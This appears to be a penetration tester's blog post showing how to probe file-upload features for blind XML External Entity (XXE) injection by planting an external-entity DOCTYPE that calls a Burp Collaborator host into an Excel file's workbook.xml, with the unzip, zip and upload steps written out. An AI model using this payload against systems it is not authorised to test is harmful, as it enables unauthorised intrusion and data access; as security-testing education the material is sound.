XML External Entity attacks are very common, particularly through HTTP-based APIs, and we regularly encounter and exploit them often gaining very privileged access to client environments.
What is less common is exploiting them with Excel.
What sorcery is this?
Actually, not that much really. A modern Excel file, as with all post-Office 2007 file formats, is actually just a zip file of XML documents. This is known as the Office Open XML format or OOXML.
Maybe you can see where this is going?
Many applications allow the upload of files. Some process these for the data inside and take actions accordingly and this will almost certainly require the parsing of XML. If the parser is not configured securely, XXE is almost inevitable.
In this post I’m focusing on Excel just because it’s much more common to process an Excel file than, say, a Word document or Powerpoint, but it’s certainly not unusual and anything in this post will potentially apply to those apps too.
Getting started
Assuming we have a target application that is accepting Excel files for upload and processing, we can start to probe for XXE. The same attack payloads will work potentially, we just need to get them into an Excel file.
Create a new blank Excel file. You can type stuff into some of the cells if you want to but it’s really not necessary. Don’t have Excel installed? You can use Google Sheets and then download as an xlsx.
Create a directory to unpack the Excel file into and unzip it. Yep, that’s right….
$ mkdir XXE && cd XXE
$ unzip ../XXE.xlsx # obviously use whatever your xlsx file is here
Archive: ../XXE.xlsx
inflating: xl/drawings/drawing1.xml
inflating: xl/worksheets/sheet1.xml
inflating: xl/worksheets/_rels/sheet1.xml.rels
inflating: xl/sharedStrings.xml
inflating: xl/styles.xml
inflating: xl/workbook.xml
inflating: xl/_rels/workbook.xml.rels
inflating: _rels/.rels
inflating: [Content_Types].xml
Which file to use to attack the application will vary a little and it depends a lot on libraries being used too. xl/workbook.xml
provides an overview of the workbook’s contents and is normally where most parsing begins as this will contain a list of the sheets and their names. The individual sheets themselves are under the xl/worksheets
directory and typically the contents end up in xl/sharedStrings.xml
.
Where I’ve found this in the real world, most applications seem to pull xl/workbook.xml
into their XML parser to get a list of sheets, then read each sheet separately, to get the cell contents. I’ve not yet found any applications that are vulnerable in the cells themselves but your mileage may vary.
Given this approach, in my experience it’s usually best to try xl/workbook.xml
first and that is what I’ll demonstrate in this post. It is as simple as adding your XXE payload to this file, zipping the contents back up into an Excel file and uploading it to the app.
Blind testing for XXE with Burp Collaborator
In our demo application there is no way to retrieve data out into the HTTP response so all of this XXE discovery and exploitation will be done blind. I like to use Burp Collaborator to do the initial tests because it’s not uncommon for an outbound HTTP request to be blocked but the DNS query is permitted. Using Collaborator we can see both interactions and confirm the vulnerability, even if perhaps we can’t exploit it easily.
Open up Burp Suite Professional, click on the Burp menu and select “Burp Collaborator client” to open it up.
Click “Copy to clipboard”. In my case the value was gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net
. Now we will insert this into our XML.
Open up xl/workbook.xml
and insert the following into lines 2 and 3. Make sure you paste in your value from Burp, not the one shown below. :-)
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>
<x>&xxe;</x>
Your xl/workbook.xml
will now look something like this.
Now zip it up to create your new Excel file.
$ zip -r ../poc.xlsx *
updating: [Content_Types].xml (deflated 71%)
updating: _rels/ (stored 0%)
updating: _rels/.rels (deflated 60%)
updating: docProps/ (stored 0%)
updating: docProps/app.xml (deflated 51%)
updating: docProps/core.xml (deflated 50%)
updating: xl/ (stored 0%)
updating: xl/workbook.xml (deflated 56%)
updating: xl/worksheets/ (stored 0%)
updating: xl/worksheets/sheet1.xml (deflated 53%)
updating: xl/styles.xml (deflated 60%)
updating: xl/theme/ (stored 0%)
updating: xl/theme/theme1.xml (deflated 80%)
updating: xl/_rels/ (stored 0%)
updating: xl/_rels/workbook.xml.rels (deflated 66%)
updating: xl/sharedStrings.xml (deflated 17%)
Now upload this poc.xlsx to your application. In this case we have a simple ReactJS demo app which allows us to drag the file in. Your app will obviously differ.
Now check your Burp Collaborator client and see if you got any hits.
Success. We have confirmed XXE.
Summary
Exploiting XML External Attacks via Excel is pretty straightforward and, once you’ve found it, essentially any blind technique you would normally use will work just the same as a more standard HTTP request.
In an upcoming blog post I’ll be taking you through some of the common techniques we use when exploiting XXE.